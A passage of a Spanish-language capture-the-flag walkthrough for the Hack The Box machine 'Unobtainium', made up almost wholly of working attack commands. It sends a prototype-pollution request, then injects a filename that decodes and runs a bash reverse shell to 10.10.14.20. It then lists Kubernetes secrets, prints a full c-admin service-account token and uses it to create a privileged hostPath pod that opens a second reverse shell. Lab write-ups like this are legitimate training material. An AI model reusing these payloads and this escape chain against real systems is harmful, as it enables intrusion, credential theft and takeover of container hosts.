curl -s -X PUT "http://127.0.0.1:3000/" -d '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"__proto__": {"canUpload": "True"}}}' -H "Content-Type: application/json"; echo

{"ok":true}

curl -s -X POST "http://127.0.01:3000/upload" -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMC80NDQgMD4mMQ== |base64 -d | bash"}' -H "Content-Type: application/json" | jq

{
  "ok": true,
  "Uploaded_File": "& echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMC80NDQgMD4mMQ== |base64 -d | bash"
}

Kubernetes Privileged Container Escape

Los Secrets son objetos diseñados para almacenar y gestionar información sensible de manera segura, como contraseñas, tokens de API, claves SSH o certificados SSL.

./akubectl auth can-i get pods
no
./akubectl auth can-i get namespaces
no

Con el usuario devnode podemos listar los secrets.

./akubectl auth can-i get secrets -n kube-system

yes

Ahora obtendremos los secretos iterando en cada uno de los namespaces, en este punto el usuario devnode no puede listar los namespaces pero el anterior usuario si puede y previamente ya lo habiamos obtenido, intentaremos aquellos namespaces que no pudimos acceder.

1
./akubectl get secrets -n kube-system
2

3
{SNIP}
4
c-admin-token-b47f7          kubernetes.io/service-account-token   3  70d
5
{SNIP}

./akubectl describe secrets/c-admin-token-b47f7 -n kube-system

1
Name:         c-admin-token-b47f7
2
Namespace:    kube-system
3
Labels:       <none>
4
Annotations:  kubernetes.io/service-account.name: c-admin
5
              kubernetes.io/service-account.uid: 31778d17-908d-4ec3-9058-1e523180b14c
6

7
Type:  kubernetes.io/service-account-token
8

9
Data
10
====
11
ca.crt:     570 bytes
12
namespace:  11 bytes
13
token:      eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLWI0N2Y3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIzMTc3OGQxNy05MDhkLTRlYzMtOTA1OC0xZTUyMzE4MGIxNGMiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.fka_UUceIJAo3xmFl8RXncWEsZC3WUROw5x6dmgQh_81eam1xyxq_ilIz6Cj6H7v5BjcgIiwsWU9u13veY6dFErOsf1I10nADqZD66VQ24I6TLqFasTpnRHG_ezWK8UuXrZcHBu4Hrih4LAa2rpORm8xRAuNVEmibYNGhj_PNeZ6EWQJw7n87lir2lYcqGEY11kXBRSilRU1gNhWbnKoKReG_OThiS5cCo2ds8KDX6BZwxEpfW4A7fKC-SdLYQq6_i2EzkVoBg8Vk2MlcGhN-0_uerr6rPbSi9faQNoKOZBYYfVHGGM3QDCAk3Du-YtByloBCfTw8XylG9EuTgtgZA

Existe otra manera mas sencilla y es que el token se almacena en la ruta /run/secretes/kubernetes.io/serviceaccount

1
./akubectl auth --token "eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLWI0N2Y3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIzMTc3OGQxNy05MDhkLTRlYzMtOTA1OC0xZTUyMzE4MGIxNGMiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.fka_UUceIJAo3xmFl8RXncWEsZC3WUROw5x6dmgQh_81eam1xyxq_ilIz6Cj6H7v5BjcgIiwsWU9u13veY6dFErOsf1I10nADqZD66VQ24I6TLqFasTpnRHG_ezWK8UuXrZcHBu4Hrih4LAa2rpORm8xRAuNVEmibYNGhj_PNeZ6EWQJw7n87lir2lYcqGEY11kXBRSilRU1gNhWbnKoKReG_OThiS5cCo2ds8KDX6BZwxEpfW4A7fKC-SdLYQq6_i2EzkVoBg8Vk2MlcGhN-0_uerr6rPbSi9faQNoKOZBYYfVHGGM3QDCAk3Du-YtByloBCfTw8XylG9EuTgtgZA" can-i create pod
2
yes

Malicious POD

kubernetes-pod-privilege-escalation#Pod1

everything-allowed-exec-pod

Modificamos el archivo

1
apiVersion: v1
2
kind: Pod
3
metadata:
4
  name: pwned
5
  labels:
6
    app: pentest
7
spec:
8
  hostNetwork: true
9
  hostPID: true
10
  hostIPC: true
11
  containers:
12
  - name: pwned
13
    image: localhost:5000/node_server
14
    securityContext:
15
      privileged: true
16
    volumeMounts:
17
    - mountPath: /root/
18
      name: getflag
19
    command: [ "/bin/bash"]
20
    args: [ "-c", "/bin/bash -i >& /dev/tcp/10.10.14.20/443 0>&1;" ]
21
  #nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
22
  volumes:
23
  - name: getflag
24
    hostPath:

1
./akubectl create -f pwn.yaml --token "eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLWI0N2Y3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIzMTc3OGQxNy05MDhkLTRlYzMtOTA1OC0xZTUyMzE4MGIxNGMiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.fka_UUceIJAo3xmFl8RXncWEsZC3WUROw5x6dmgQh_81eam1xyxq_ilIz6Cj6H7v5BjcgIiwsWU9u13veY6dFErOsf1I10nADqZD66VQ24I6TLqFasTpnRHG_ezWK8UuXrZcHBu4Hrih4LAa2rpORm8xRAuNVEmibYNGhj_PNeZ6EWQJw7n87lir2lYcqGEY11kXBRSilRU1gNhWbnKoKReG_OThiS5cCo2ds8KDX6BZwxEpfW4A7fKC-SdLYQq6_i2EzkVoBg8Vk2MlcGhN-0_uerr6rPbSi9faQNoKOZBYYfVHGGM3QDCAk3Du-YtByloBCfTw8XylG9EuTgtgZA"

peirates

HTB - Unobtainium